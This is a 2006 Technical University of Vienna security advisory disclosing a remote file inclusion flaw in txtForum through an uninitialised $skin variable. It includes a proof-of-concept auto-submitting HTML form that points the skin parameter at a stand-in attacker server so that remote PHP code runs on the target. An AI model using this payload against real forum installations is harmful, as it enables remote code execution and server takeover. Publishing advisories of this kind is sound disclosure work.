txtForum: Script Injection Vulnerability

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txtForum: Script Injection Vulnerability
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Technical University of Vienna Security Advisory
TUVSA-0603-004, March 9, 2006
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Affected applications
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txtForum (http://sourceforge.net/projects/txtforum1)

Versions 1.0.4-dev and prior.


Description
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There is an include statement in the file common.php on line 46 that makes use of the SKIN constant, which was 
previously defined via the $skin variable. Under the following conditions, an attacker can inject arbitrary PHP script 
into the application:

- register_globals has to be active
- remote file inclusions have to be allowed

All the attacker has to do is find a path through the program that doesn't initialize the $skin variable. The attacker 
does not require access to an account in the forum. Here is an example for an attack page:

<form action='http://localhost/txtforum104/login.php&apos; method="post">
<input type="text" name="login_username" value="admin"/>
<input type="text" name="login_password" value="xyz"/>
<input type="text" name="skin" value="http://evilserver.com"/>
<input type="submit">
</form>
<script type="text/javascript">
  document.forms[0].submit();
</script>

This leads to execution of the code in http://evilserver.com/header.tpl. There might be further possibilities for 
exploits (similar include statements can also be found on lines 53 and 61). 


Solution
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There is no solution to this issue yet.

Timeline:

March 2, 2006:
Vulnerability reported to and acknowledged by the developer (I.Konforti).
A fix is not planned.

March 9, 2006:
Advisory submission.


References
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http://www.seclab.tuwien.ac.at/advisories/TUVSA-0603-004.txt


Nenad Jovanovic
Secure Systems Lab 
Technical University of Vienna 
www.seclab.tuwien.ac.at